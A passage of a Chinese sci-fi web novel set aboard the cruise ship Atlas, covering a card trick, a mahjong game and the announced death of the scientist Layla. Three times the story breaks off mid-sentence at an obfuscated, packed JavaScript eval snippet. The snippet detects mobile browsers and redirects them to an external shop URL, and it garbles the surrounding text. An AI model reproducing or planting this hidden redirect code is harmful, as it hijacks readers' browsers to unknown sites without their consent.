查理眼前一花,就在这几秒钟的功夫,周围游戏机的屏幕上竟又莫名出现了一只张牙舞爪的贪吃蛇。它张开大嘴横冲直撞,系统中留存的资产被它一口气全部吞食,缓存光标闪了又闪,最终无济于事地死了机。 “两位请看!”盛初沅无辜地摊摊手,“太没意思了,阿特拉斯号上的防火墙跟空气一样,我闭着眼都能随意摸进金库。” 查理立马爆发出一道惊天尖叫,它抬手捂住自己的嘴筒子,却发现怎么也挡不完自己的大嘴,“啊啊啊啊啊!该死的人类,你做了什么!我的游戏机!不不不!我要去向船长告状!我要去向船长告状!” 它“哐当”一下踹翻了美酒,好似又回到了最原始的时代,四肢并用、连滚带爬地跑走了。 如此骚动竟未在周围惊起一丝一毫的波澜,每个人都沉浸在自己的世界,压根没空搭理这边的小打小闹。 埃斯特万的嘴张张合合了好一会,连该死的查理逃跑了都没反应过来。他呆呆地问道:“赫利孔的学生人均都有这个水平吗?那莱拉女士该有多强啊,我还妄图想当她的学生呢……” “您想拜莱拉为师?”盛初沅的表情变得更加意味深长,“据我所知,她不收徒弟。” “我知道,我只是想想,而且莱拉女士不可能踏足母星,更不可能收一个母星人为徒,”历经打击的埃斯特万有些垂头丧气,“但我认为我真的很有天赋,我可是阿特拉斯号的头号机械工程师。” “可是她现在已经垮台了……好好好我不说了。”感受到对方谴责的目光,盛初沅举双手投降,“既然这样,埃斯特万先生,我给您变一个魔术,如果您猜出了谜底,我可以将莱拉的通讯邮箱告诉您,您可以尝试去套套瓷。” 她步伐轻盈地跳到了一张餐桌边,而后随意拆了一幅新扑克,将牌背牌面分别展示给埃斯特万检查。 “没问题吧!”她笑眯眯地脱下手套,示意手上也没作弊。待对面点头确认后,她随意洗了洗,将那副牌背面朝上,在桌上一字铺开,“先生,请选出您看得最顺眼的三张牌,记住它的数字和花色,不用告诉我,我现在背过身,您随意找几个位置插进去。” 埃斯特万不明所以地点点头,但事关信仰,他立马打起十二分精神,颇为谨慎地选择了三张牌。 方块3,草花8,红心J。 他随机找了三个位置插进去,又不放心似的洗了洗,最后将一整摞交给了盛初沅。 盛初沅看也不看便开始花式洗牌切牌,纸牌在她的手指间疯狂跳动。埃斯特万死死盯着她手上的动作,直到他被牌背的花纹晃得眼花缭乱,盛初沅才堪堪停下,“来吧,先生,翻开最上面的三张牌,让我们来见证奇迹。” 埃斯特万依言抽出最上面的三张牌,旋转牌面,随即露出一个不可思议的表情——方块3,草花8,红心J。 “您是怎么做到的,藏牌吗?还是滑牌?或者是……双翻?”埃斯特万连着猜了好几个纸牌魔术常用手法,但面前的女士依旧摇着头。 “别着急,魔术还没变完呢!”盛初沅的脸上浮着甜甜的笑容,她再次举着手转过身,“先生,您再找三个位置插回去。” 埃斯特万再次照做,将牌插回去后,他又不死心地洗了洗牌。 等他做完这一切,盛初沅再次转过身,又一次动作花哨地洗牌切牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527505|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。最后,她将牌面反转,慢慢在桌面上铺开。 埃斯特万定睛一看,愈发感到不可思议——这幅52张普牌加上2张大小王的扑克牌彻底变了,桌面上依次排开的分别是,18张方块3,18张草花8,18张红心J。 “这……”他彻底傻眼了,“这不可能。” “怎么不可能?”盛初沅反问道,她随意抄起三张方块3,展示给对方看,“喏,你检查一下,没问题吧?” “没…没问题。”拉美小伙颤颤巍巍。 “好呢!”盛初沅笑眯眯地点头,“看清楚啦,最后一次机会。” 她将纸牌夹在指尖,纤细的手腕一用力,纸牌竟以破空之速劈向远处的飞镖盘,入木三分。 “去看看吧!”盛初沅贴心地建议道。 埃斯特万迷迷糊糊地向前摸索,将纸牌从飞镖盘上一一取下。他再次擦了擦眼,那三张方块3又变成了方块3,草花8,红心J。 “盛小姐,您到底是如何做到的?无论是哪个纸牌技巧都不可能……”他有些语无伦次,“……变出这么多张同样花色的牌。” “先生,您不够了解莱拉,”见他依旧被谜面误导,盛初沅无奈地摇摇头,“您连她的惯用技巧和研究方向都不了解,怎么可能成为她的学生呢?” “可母星消息闭塞,我不可能接触到她的研究内容。”埃斯特万开始狡辩。 “所以您看,您的技术力和野心都支撑不了您翻越高墙,而跨越权限墙是星环工程师的基本功。先生,您太过安于现状,也被各种条条框框和世俗标签绊住了手脚,莱拉不需要这样的学生。”盛初沅露出一个颇为灵动的笑容,“这个谜题始终存在,我在金海101等待您探索出答案。” 埃斯特万失魂落魄地走出了二楼大厅,飘了一小段之后才发现他尊贵的客人并未跟上来。他如惊醒般回头一看,盛小姐似乎正对着她的手环捣鼓些什么,“盛小姐?”他疑惑地出声。 “没事,给他们留了一个小小惊喜。”盛初沅调皮一笑。 话音刚落,身后的大厅中便出现了一片此起彼伏的惊叫和哀嚎。 “靠,谁把老子的资产数字给打乱了!” “我的百万身家呢,怎么变个位数了?” “???天神降临,我竟然没有破产,哈哈哈哈,我竟然没有破产!我要再开一把、再开一把!” “您竟然把他们的资产重新分配了?”埃斯特万的脸上一片骇然,“这又是怎样做到的,您不是没带终端吗……” “嘘!这是个秘密,先生!”盛初沅竖起食指凑到嘴边,向他眨了眨眼,卖完关子后又不解地问:“怎么您和岑先生都这么关心我的终端?不过是上不了云端网罢了,无足挂齿。” “怎么会无足挂齿?那您的资产与身份信息呢?您怎么在天空城生存的?”不比岑屿听到后的那般自然淡定,埃斯特万的反应简直像是野兽咆哮,“等等,您的意思是,您把您的终端落在天空城了,这只是个小玩具?还是这就是您的终端,它彻底失活了?” 这两者的性质完全不同,前者只是笨蛋贵族小姐的粗心之举,后者可是比被活埋入土更可怕的彻底的社会性死亡。 ——没有身份、没有资产、无法与他人联系,永远如幽灵般存活于世。 “怎么这个时候就这么敏锐?”盛初沅颇为无奈,不过还是老实地告诉他,“是的,这就是我的终端。埃斯特万先生,我被天空城放逐除名了!” “您究竟做了什么?”埃斯特万想问却又不敢问,只好继续催眠自己,“没事的,埃斯特万,谁都有秘密不是吗?她只是我的客人,我只需做好我的船员工作,十几年都这么过来了……不是吗?” 可眼前的小姐却依旧不愿放过他,她像一个诱哄好奇者下地狱的魔鬼,笑着传播被称作知识的诅咒:“先生,您就不想猜猜看,我是为什么被放逐除名的吗?” 8. 蜂巢 “我……我,我不知道。”埃斯特万的背上已在不知不觉间浸满了冷汗,“您……” 他压根不敢直视盛初沅那长长的低垂的睫羽,那脆弱而又蛊惑人心的恶魔之翼。 “是我的未婚夫啦,我们俩闹了点小矛盾,他说要给我一点颜色看看,让我知道惹恼他的下场!”温柔悲伤的声音在身侧响起,惊得埃斯特万打了一个激灵。 “啊!啊?这……这样吗?”埃斯特万原想不管不顾地堵住耳朵,没想到经过听觉神经进入大脑的竟是这般答案。 原以为的天空城辛秘往事突然变成了晚八点档狗血爱情纠葛,埃斯特万的大脑瞬间空了空,他喏喏地问:“您还有未婚夫?” “嗯,是的,先生,”他终于敢抬起头,盛初沅正一脸悲伤地看着他,“他出身在一个很有威望的家族,我以为我们只是理念不合,没想到他竟然……竟然还拿身世压我,我们家族,又只剩我一个人了……”她说着竟小声抽泣起来。 埃斯特万定睛一看——盛小姐那双如星辰般美丽的大眼睛里此时蓄满了泪水。我的天呐罗密欧与忽必烈,霍格沃茨与梁山伯,这真是一个可歌可泣的爱情悲剧! 这位沉迷狗血歌剧的傻白甜立马就相信了大半,他慌忙出声安慰道:“盛小姐,您别难过,万事都有转机,您看,您的学术水平如此之高,以后一定能够再次回到天空城的。” “嗯,我知道,所以我是来母星散心的。”盛初沅从外套的口袋中摸出一个手帕,故作坚强地擦了擦眼泪,冲他勾了勾唇角,“旅游是放松心情的最好方式。” 凭心而论,她并没有在撒谎。维里迪安家的大小姐确实与阿斯特家的大少爷有婚约,只不过她和特雷梅恩是大道朝天,各捅一边的前同僚,引星计划失败百分之九十九点九九跟这个该死的白皮自恋佬有关系。 “对的,旅游是放松心情的最好方式!”埃斯特万赶紧肯定道。他一向情绪来得快,去得也快,忙忙收拾好心情后,再次变回了那个富有激情的新手导游。 “盛小姐,那个什么,咱们说点有意思的……阿特拉斯号,嗯,对,阿特拉斯号!”他慌忙且生硬地转移话题。 “阿特拉斯号的游客休闲区共有七层,每一层都有独立的餐厅,我们的餐厅提供的是时令食品,大概就是到哪个景点附近,就提供哪个景点的特色菜。” “接下来是娱乐项目,一层是您刚进来时看到的宴会厅,每晚都会有不同主题的舞会。您要是有兴趣的话今晚就可以去跳舞放松放松。” “等过了这片海域,各工会还会在甲板上举行观鲸活动。您知道吗?经过辐射变异,蓝鲸的背上还会发出幽蓝色的荧光,活像海里的萤火虫。”埃斯特万费尽心思想为她描述那个画面,但语言愈发干瘪且用力过猛,他怎么形容都无法将那份震撼传递给她。 “好了好了,我知道了!”盛初沅被他逗笑了一般,抬手轻轻捂住嘴。 言语间,他们已经走到了这个复古又富丽堂皇的楼梯的半腰处,她贴心地向他提问递话:“二层我们刚刚去过了,那接下来的第三层呢?” 埃斯特万立马跟上她的节奏:“三层比较鱼龙混杂,一般是活动人数最多的楼层,里面有很多工会同好会,比如说……” “就算是查理曼大帝来亲征,歌剧都是在文艺复兴之后才出现的,铁骑区根本就不应该出现歌剧院,这简直就是溯洄计划的败笔!历史的绝对谬误!”一道洪亮的声音从楼梯上方劈头盖脸地砸下来,伴随其右的是四处横飞的唾沫和滚下楼梯的茶杯。 “你敢说圣歌、赞美诗和神秘剧不是歌剧的鼻祖?拜托,任何伟大的事物都要溯其本源。没有传承和历史的东西终将会走向死亡!”另一人用力地拍桌,激烈地反驳道。 “鎏金时代!鎏金时代!你知道鎏金是什么吗?就是历史最繁荣的时期,刚起步称得上什么鎏金?” “昂,就是这样,”埃斯特万仰起头,用下巴点了点相互扬着拐杖斗法的两人,“这估计是历史学会的活动,每年它们都会有各种派系的主理人下到母星来考察吵架。这俩位老先生估计分别是起源派和兴盛派的,昨天上船一见面就掐起来了。” “本来我们把他们的工会房间安排在最里面,就是想让他们各管各的高山流水,就算吵起来也不会打扰到其他客人。现在倒好,房间太偏了,他们还没撑到回房间,就直接在楼梯口唱起了双人相声。” 盛初沅看着上面你踹我一脚,我给你一杖,起手就是扯着胡须开撕的儒雅学者,忍不住抿了抿唇,不愧是历史学家,连掐架方式都如此质朴。 “三楼每一天都会有不同主题的讨论会,”埃斯特万领着盛初沅如走钢丝一般绕过那两个小老头,以免被到处乱飞的物什误伤,“当然还有辩论赛,什么如果项羽在鸿门宴上吃了樊哙送进来的生猪腿,那么楚汉相争会以刘邦跳《霸王别姬》告终。还有秦始皇统一六国后铸造的十二金人,其实是用来启动外星飞船的坐标密码。” “没办法,盛小姐,由于古籍的销毁,寰宇纪的历史变得乱七八糟的。” “我也有幸参加过一次学术辩论,”盛初沅笑眯眯地弯下腰,躲过了那顶飞来的假发,如闲谈一般分享:“在会的还有好几个星环的高层,他们在辩论,历史是否应当仁慈。” 埃斯特万愣了愣,“那您……” “我是听众,先生,我还没有资格在那场会议上发言,”盛初沅向他吐了吐舌。 有惊无险地绕过了那个危险渡口,三楼的全貌终于在两人眼前显现。 不比游戏厅一览无余的宽敞明亮,以集会讨论为主要活动形式的结社中心是由一格格小房间组合而成,每个工会都有属于自己的地盘。 房间里面麻雀虽小,五脏俱全,氛围舒适,设备完备,果蔬、饮料长久供应。像极了前母星时代的社区会所和大学社团的结合体。 但由于其六棱形的外观,来往专家学者更愿意称其为“蜂巢”。毕竟“蚂蚁窝”,“狗熊洞”这些名字并不大优雅动听,也无法突出他们具有科学人文感的学术情怀。 “盛小姐,这周末晚上,蜂巢还会举办诗会,您若是感兴趣的话,我愿意做您的推荐人。”埃斯特万带着她在斗折蛇行的道路间穿行,“这儿跟迷宫似的,您若是一个人来,十有八九要在里面拐上半天!” “这儿没有路标吗?那墙壁上的这些告示是什么意思,”盛初沅指着刻在那银白墙面上的文字,显得有些兴味盎然,“什么事物在黎明是石头的牙齿,在正午是铜铁的骨骼,在深夜是玻璃中流动的梦境?” “哦,这是仿照狮身人面兽提出的谜题,您知道斯芬克斯吗,古希腊神话的守护兽,”埃斯特万乐于为她答疑解惑,“让我想想它的谜底,好像是……” “是工具吧。”盛初沅不出三秒便笑着抢答出结果,“石器、青铜器以及现代硅基量子科技器具,伟大的文明巨手。” “您聪明得恐怖!”埃斯特万真诚夸赞道,“哦,对了,盛小姐,我们这是在去蜂巢中心广场的路上,这一路上的道路两边都有谜题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527506|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您可以一一挑战一下。” “劳驾,让一让,让一让,要撞上了!靠,对不起……”埃斯特万的话音刚落,一个身高不到一米四的小伙计突然从路口拐角处冲出来,一头撞到了他的小腹上。 “抱歉,对……咦!埃斯特万,你怎么来三楼了?”小伙计挠着头瞪大眼,吃惊极了。 “嘿,都说了不要在蜂巢乱跑!万一撞到客人怎么办!把你拆开来卖都赔不起!”埃斯特万吃痛地弓下腰,抬手疯狂揉搓了一把他的脑袋。 谁知那小伙计竟一把箍住了他作乱的手,拽着他就跑,语气匆匆道:“来不及解释了,你快和我来!” 埃斯特万被他拽得往前酿跄了两步,慌忙回头张望,发现盛小姐正兴趣十足地跟在他们身后,于是他便不再挣扎,顺着小伙计的力道往前跑。 “怎么了这是?我刚刚才摆脱查理那只兽面兽心的死耗子,你不知道他又……”埃斯特万的嘴皮子再次发力,边跑边蛐蛐着。 “叶卡捷琳娜小姐在找人跟她打麻将!”小伙计气喘吁吁地打断他,“她把麻将社的人全气跑了!” 没错,作为最开放包容的阿特拉斯号,蜂巢在有打着各种幌子对骂的学术流氓病情交流会、能登大雅之堂的音乐会诗选会的同时,还有飞入寻常百姓家的棋牌活动。正可谓是雅俗共赏,让所有来往游客都玩得开心,看得开心。 跟楼下游戏厅的消费理念全然不同,这些棋牌活动讲究一个欢乐,在于一个赛出风采,赛出精神,更像一种居民休闲娱乐活动。 “怎么可能?”质问的话脱口而出,埃斯特万一脸震惊地看着他,“她怎么会出现在这里?还有,麻将社那帮人……等等!” 他突然想起了盛小姐与叶卡捷琳娜小姐之间那点有关房间的龃龉,以及前者此时正处于没有身份信息的尴尬阶段,立马开口询问道:“盛小姐,您和叶卡捷琳娜小姐……” “先生,没关系,我不认识她,”盛初沅轻轻摇摇头,“我只认识她的父亲,安德烈先生,天空城议院的大议长。” “虽然关系并不大好。”她慢悠悠地吞下了这句话,怕吓到埃斯特万,“不,不能说不大好,更准确的说,我和他势同水火。” 埃斯特万听她这么一说,又把心放回了肚子里,“那就好那就好,盛小姐,那位小姐脾气可能不是很好,如果您不想被冒犯到的话,可以先去对面茶社坐着喝一杯霸王花绵绵冰,这是它们那儿的招牌。”他倾情推荐道。 “没事,我就过去看个热闹!我也想见见中心城区的舞会之星!”盛初沅飞快地回答。 也不知道那小伙计和埃斯特万是怎么记住路的,可能是孰能生巧,亦或是有所谓的员工导航。他们在连续拐过了三个一模一样的五岔路口后,精准地停在了一个小格子前面。 小格子的隔音效果很好——准确地说,在隐私权早已被写入《公民法案》的寰宇纪,就算把母星翻个底朝天,也未必能找到一例隔音不好的反例。 故而在他们推开门前,屋内没有泻出一丝杂音,像极了暴风雨前的宁静。 “你们做好准备,”站在虹膜锁前的小伙计咽了咽口水,草草扫了两人一眼,视死如归般按下了门铃。 “三、二、一……”他开始慢慢倒数,“一”字话音刚落,门便应声而开。 就在盛初沅看清屋内情形的那一瞬间,一道娇蛮而尖锐的声音径直刺入她的耳膜:“新来的,你来评评理!凭什么我不能吃对家的二筒?她就可以抢我牌胡?这有没有天理了?!” 9. 麻将馆 “还有没有天理,小祖宗,我跟您说噢,您就算问上一百个人,打哪儿的麻将,吃都只能吃上家!这可是老祖宗留下来的规矩!不能随便改的噢!” 那位敷着白面膜,顶了一头卷发棒,很不幸坐在她上家、被她肆意攻击的中年贵妇人不满地将面前的牌一推,用她那长达八厘米的红色甲片猛地戳着牌面,“喏喏,看到没啦,三个一万,三四五条,六七八筒,七八九万,单吊一张二筒,我胡牌了。” “怎么可能!你肯定作弊了!”叶卡捷琳娜小姐撑着桌子“腾”地起立,竖着食指指指点点,“谁给你的胆子敢在我面前作弊,你知不知道我爸爸是哪个?议院的大……” “大议长啦!谁不知道似的!”贵妇人也慢悠悠地站起来,施施然翻了个白眼,边用“红色尖爪”戳着脸颊,边嘀嘀咕咕着,“好啦,我不想再陪没断奶的大小姐过家家啦……不过该说不说,这前母星时代的面膜倒是挺舒服的,下次要不再换个黄瓜片儿试试。” “我也不玩了,没意思,我去隔壁游戏社了,诸位再见,”那个明显是被拉过来凑角的小男孩将扭好的魔方往旁边一投,潇潇洒洒地晃出门去。 “这…这,大小姐啊,您瞅瞅,要不咱们今天就算了吧,一连换了七八桌了,您打着也不爽利。”腆着脸陪打大半天的麻将社分管员尴尬地搓着他的狐狸爪子,“咱们明天再……” “不行,我命令你,现在再去找几个人过来,我偏要在今天打,现在!立刻!马上!”这位浑身上下没有一根头发丝与麻将馆相契合的大小姐盛气凌人地命令道。 话毕,她又突然想起什么似的,转头直勾勾地瞪向盛初沅他们,“对哦,看什么看,就你们,过来陪本小姐打麻将!” 盛初沅显然没有被她装模作样的怒吼吓到,反倒饶有兴味地将她和狐狸先生一块儿打量了一番,然后凑到埃斯特万耳边轻声问道:“埃斯特万先生,您说,阿特拉斯号上的员工,大部分都是进化动物吗?” “不……不是,”感受到她的突然靠近,埃斯特万的耳根子全红了,他凭着导游本能磕磕巴巴道:“他们只是各…各游乐区的负…负责人,真正的高层,依…依旧是人类。” “你们竟敢无视我?”金发碧眼如精致洋娃娃般的大小姐头一回收到此等冷遇,挑着眉插着腰,难以置信地质问道。 “怎么会呢?”得到答案后的盛初沅立马出言安抚道,“我来陪您打,您想吃对家就吃。不过我也有个要求,我们做大飞,输的三家无条件答应赢家一个要求,怎么样。” “盛小姐,您别,我不会打麻将啊!”埃斯特万一听这话,赶紧可怜兮兮地表态道,“我连牌都认不全,我……” “那又怎么样,本小姐也是第一天打,”叶卡捷琳娜傲慢地打断他,“答应就答应,大飞就大飞。” “小祖宗,您知道大飞是什么吗?”在门口磨磨蹭蹭半天还没走掉的贵妇人闻言嗤笑道,“想也不想就答应,也不怕对面把您坑得倾家荡产噢。” “你……你不打就给我滚出去,不要碍本小姐的眼!”叶卡捷琳娜气愤道,“我…我能不知道吗,丽萨,告诉她,什么是做大飞!” 被她点到的随行菲佣身体一颤,显然也是没有研习过这门博大精深的东方学问,“我…我……我不知道,小姐。” “行了,您可别欺负小姑娘了。姐姐来告诉你噢,做大飞就是只胡大牌,全求人,七小对,碰碰胡,十三幺,清一色,杠上炮,您可小心一点噢,这一炮下去,可不得了的噢!” 贵妇人做了一个极其浮夸的爆炸动作,配上她此时白花花的脸蛋,显得还真像那么一回事,“好啦,我倒是想被您赶出去,可惜这儿明摆着三缺一啊。难得开一次大飞,这几个小伙子不打,我不打可不就浪费了嘛!” “不过我可不想坐你上家了,”她说完便扭着腰坐到叶卡捷琳娜的对面,又向盛初沅抛了一个媚眼,“来吧,小姑娘,好久没跟别人做大飞了,怎么称呼啊?” “我姓盛,您叫我小盛就好,”盛初沅绕到她下家的位置坐下,笑眯眯地将牌推进麻将桌里,“很高兴能与几位在同一张桌子上打牌,叶卡捷琳娜小姐,狐狸先生,还有……陈夫人。” 刚准备按下掷骰子按钮的陈宝琳微微一怔,随后露出一个意味深长的笑容:“盛小姐这是认识我呢?但我倒觉得盛小姐有些面生,您是城北盛家的哪一位小姐呢?” “我是谁并不重要,您无需挂念,我也只是远远地见过您一眼,尊贵的将军夫人。”盛初沅向她眨眨眼,也按下了那个骰子,骰子如激烈心跳的鼓点,在透明罩子中疯狂旋转,“想不到我竟然会在阿特拉斯号上再见到您。” “啊啦,什么将军夫人,我只是一个来度假的无聊中年妇女啦,”即使被点破身份,陈宝琳也不见恼,轻笑了一声后便开始摸牌,一边摸一边整,对着一堆搭不上边的牌直摇头,“不过,还好我来度假啦,现在留在天空城的人可有得闹啦!” “你们昨晚也收到那条消息了?”叶卡捷琳娜盯着自己的牌思考了半晌,最后扔出了个六万。牌刚一出手,立马就被下家的狐狸先生吃掉了,她又忍不住发了一通闷气。 “那可不!”陈宝琳也吃了狐狸先生扔出来的幺鸡,又顺手送了盛初沅一张东风,“莱拉那小姑娘可真能闹腾,现在好了,把自己折进去了!所以说人呐,还是不要那么聪明为好,毕竟枪打出头鸟,你说是不是,盛小姐?” 阿特拉斯号上的任何一个角落都有其独特的创作巧思,即使是这个小小的麻将馆。 他们头顶的天花板早已被一片蓝色的鱼缸取代,里面两尾金灿灿的锦鲤摇曳着流光溢彩的尾巴,充当着两盏永远也不会熄灭的柔光灯。 浅黄色的光飘忽而过,映在陈宝琳的白色面膜上,使她看起来不像指点迷津的活佛,倒像是戏曲中的伶人——紧紧嵌在剧目中的那一环。 一丝不易察觉的紧张感爬上麻将桌,盛初沅突然想到了什么,微微笑出了声。她抬手拿起那张被所有人嫌弃的东风,轻轻启唇,“当然,陈夫人,我会记住的,碰。” “不是吧,东风你也碰!”叶卡捷琳娜终于想起她面前的牌里还藏了张西风,立马像扔垃圾一样把它甩出去,“喏,这还有张西风,要不要!” “还有,要我说,莱拉就是自己作的,我都不敢想我爸看到这个消息该有多开心!天知道他在家里挂了多少张莱拉的画像,每天的晨练活动都是扎着马步往她脸上扔飞镖。”她漫不经心地补充着先前的话题。 “那您父亲的身体可真不错,要是莱拉知道她有助于安德烈议长强身健体,一定会很高兴的。”盛初沅真心地表示道,“感谢您的施舍,但我不需要西风。” “等会,您们说,莱拉女士怎么了!”原本站在一旁缩小存在感的埃斯特万听了老半天,终于忍不住了,“她……” “她死啦!你们还不知道吗?母星上果真住着一群猴子,”叶卡捷琳娜毫无避讳地分享着今日头条,牌过了一圈,又轮到她了。 但她不要那张八筒,于是指挥着丽萨摸完牌给她递过来,“《寰宇日报》上都满天飞了,那句神神叨叨的话——Laylaisfallingintoheaven.死了就死了嘛,装神弄鬼,还设个定时程序,非得把全天空城的人都恶心一遍!” “莱……莱拉死了?”埃斯特万仿佛从头到脚被死死钉穿在原地,他慌忙否认道:“不、不可能!莱拉女士怎么可能……” “怎么不可能,整个星环都爆炸了噢,她没穿防护服,又在爆炸中心,立马就被炸成血雾了噢。小姑娘才24岁吧,哼哼,果真是天妒英才噢。” 陈宝琳颇为惋惜地摇摇头,又吃了一口狐狸先生打出的牌,“下一任负责人十有八九是智绘了吧?啧啧,那他们没几天好日子过咯。” “他们”?星环他们?还是议院他们? “那肯定,清道夫可是那两个家族的人,”叶卡捷琳娜翻了个白眼,“这两个家族没一个好东西,他们……” “哼,您当然觉得没好东西咯!”陈宝琳立马阴阳怪气地讽刺道,“您三家共掌议院,那两家联了个姻,这不立马把您家架空了嘛!” “你……!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527507|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了好了,牌桌上不聊政治,”盛初沅笑眯眯地摸了一张牌,将它随意搁在牌尾,“那莱拉的忌日礼什么时候办?今晚吗?” “快了吧!”陈宝琳抬手看了一眼终端,“哼哼,他们可不敢拖着,当然也不敢提前,母星上可全是她的信徒。估计到时候就开个全星投影,草草点个蜡什么的。哟,说曹操曹操到,这不就来了嘛!” 她话音刚落,一个蓝色的人头便从麻将桌中心冒了出来,活像一只被四周一圈麻将架在火上烤的大窑鸡。 这颗大窑鸡的脑袋表情悲伤而凝重,脸上似乎还挂着几滴泪珠。不过,鉴于他的脸和眼泪都是透明的,再卖力的表演也难免失了姿色,更像是黄鼠狼给鸡拜年——我要吃大窑鸡了。 “哎,爸爸!”叶卡捷琳娜立马惊呼出声,“您……” 大窑鸡并没有听到她的呼喊,只是清了清嗓子,郑重地张开嘴,发出了足以颠覆整个母星的讣告。 “各位,请允许我怀着沉重的心情,向大家宣布一个举世哀痛的消息。” “我们伟大的星环研究所所长、引星计划负责人、赫利孔名誉教授、维里迪安家族话事人——莱拉·维里迪安女士,于昨晚九点四十八分,与我们永远告别了。” “我知道这很突然,也知道大家可能无法接受。因此,现在,我,安德烈·罗曼诺夫,怀着最真切诚挚的情感,恳请大家,放下手中的事情,走到一个空旷的地方,为我们寰宇纪最伟大的莱拉女士,点上一炷长明香,愿她伟大的灵魂永不消亡,伟大的精神永不腐朽。” “老天,他真做作,”陈宝琳慢悠悠地丢出手中的牌,似笑非笑地扫了一圈,“等会啦,打完这一盘。” 脱手而出的牌在空中滑出一个优美的抛物线,好巧不巧正正路过了安德烈先生投影的嘴部,然后顺着他的喉管落到腹中。 “盛小姐……”埃斯特万明显有些着急了,可桌上的客人们不动,他压根不敢先行离席。 “好啦,”盛初沅也不疾不徐地站起身,伸手去够那张过了一遍消化道的可怜麻将,“陈夫人,您说巧不巧,我胡了,碰碰胡。” “怎么可能!你是不是作弊!”叶卡捷琳娜又喊出了先前那句话,“我告诉你,我爸爸可是……” “大议长啦,喏,还在中间竖着呢!”陈宝琳倒不觉得奇怪,轻笑着打断她,手上的鸽子蛋耀眼得很,“盛小姐,您想要我为您做什么呢?” “不着急,我想各位应该不会赖我账吧,”盛初沅已经将椅子推开,闻言眉眼弯弯地俯视着他们,“我可不想错过莱拉女士的忌日礼,说不定还有小周边发呢!埃斯特万先生,我们走啦!” 说着她便利落转身,领着失魂落魄的埃斯特万,走出了这个卧虎藏龙的麻将馆。 “她真的胡了?”叶卡捷琳娜不死心地扒拉着她立在桌上的牌,“我……” “行了,小祖宗,十个你加起来都玩不过她,人家估计把我们所有人的牌都算到了,”陈宝琳“刷啦”一下撕开面膜,露出她藏在护肤乳液下的脸蛋,那双乌黑色的眼睛里不知道藏了些什么,“走啦,我们也去看看热闹。” 热闹,确实是热闹。窑鸡头头安德烈发布完公告后,阿特拉斯号也拉响了广播,呼吁全舰员工与乘客聚集到蜂巢中心广场,俨然是想借助投影技术开设一个忌日礼分会场。 盛初沅从未见过那么多人挤在一条大街上,仅仅几个呼吸间,她已经彻底看不到埃斯特万的身影了。 她被莫名其妙地推搡了好几次,在黑压压的人群中压根分不清东西南北。 她随意扫了几眼,评估了一会儿暴力翻墙的可行性,正准备现搓一个低空飞行器,一条强壮的手臂便从她的腰后伸来,以一种毋庸置疑的力度将她揽进怀中。 “盛小姐,原来您所说的参观,就是来参观忌日礼吗?”岑屿阴沉的声音在她耳边响起,吐出的热气舔舐着她的耳廓,裹着糖霜的威胁也紧随其后:“如果是这样的话,您倒不如乖乖和我回去,我早就为您准备了火锅。” 哎呀,真是一条不温和的建议。 10. 斯诺克 如同千万个被黑珍珠号的奇异冒险污染过脑干的海上大混混一般,斯诺克也将自己的办公室装扮成了海盗作战总指挥部的模样。 ——一张大大的航海图,几个不知所云的宝箱和酒桶,簌簌流着泪的大烛台,以及始终弥漫在空气中的,独属于朗姆酒的醇香。 岑屿绕开那些乱七八糟铺在地上的测算图纸,一脸恼火地停在了那只标志性的蓝绿色鹦鹉面前。 “斯诺克呢?”他问。 那只鹦鹉偏着头打量了他一会儿,一张嘴,鸟喙里竟然冒出了嘶哑的人声:“岑,你的心情不好,是因为那位小姐吗?” 岑屿沉默了几秒,随后冷冰冰地回答:“……这好像与你无关,斯诺克呢?”他再次问道。 “岑,你不能这样,你才认识人家第一天,你已经受不了人家脱离你的视线了。”鹦鹉依旧苦口婆心地劝告着,试图让他稍微收敛一些,“埃斯特万也只是好心,你这……连我一只鸟都受不了了,更别说人家大小姐了。” “……她给我别的,”岑屿不愿和一只扯着破锣嗓子的鸟多计较,只是微微侧过脸,展示了下他那闪烁着蔚蓝色光芒的耳钉,“所以请你不要再多管闲事。” 如果鸟也能翻白眼,那面前的鹦鹉早就该把白眼翻上天了。它张开色彩鲜艳的大翅膀,扑棱棱挡在眼前,嫌弃地说道:“斯诺克有要事缠身,他让你自己去把血抽了。” 岑屿:“……” 他不说话,只是瞟了一眼桌上的机械针筒,随后平静地拿起,挽起西装袖子,往手臂上一扎。下一秒,鲜红的血液倒灌入那黄铜空腔中。 岑屿:“我代老贝克向斯诺克船长,欧阳大副和列夫伊万夫人问好。” 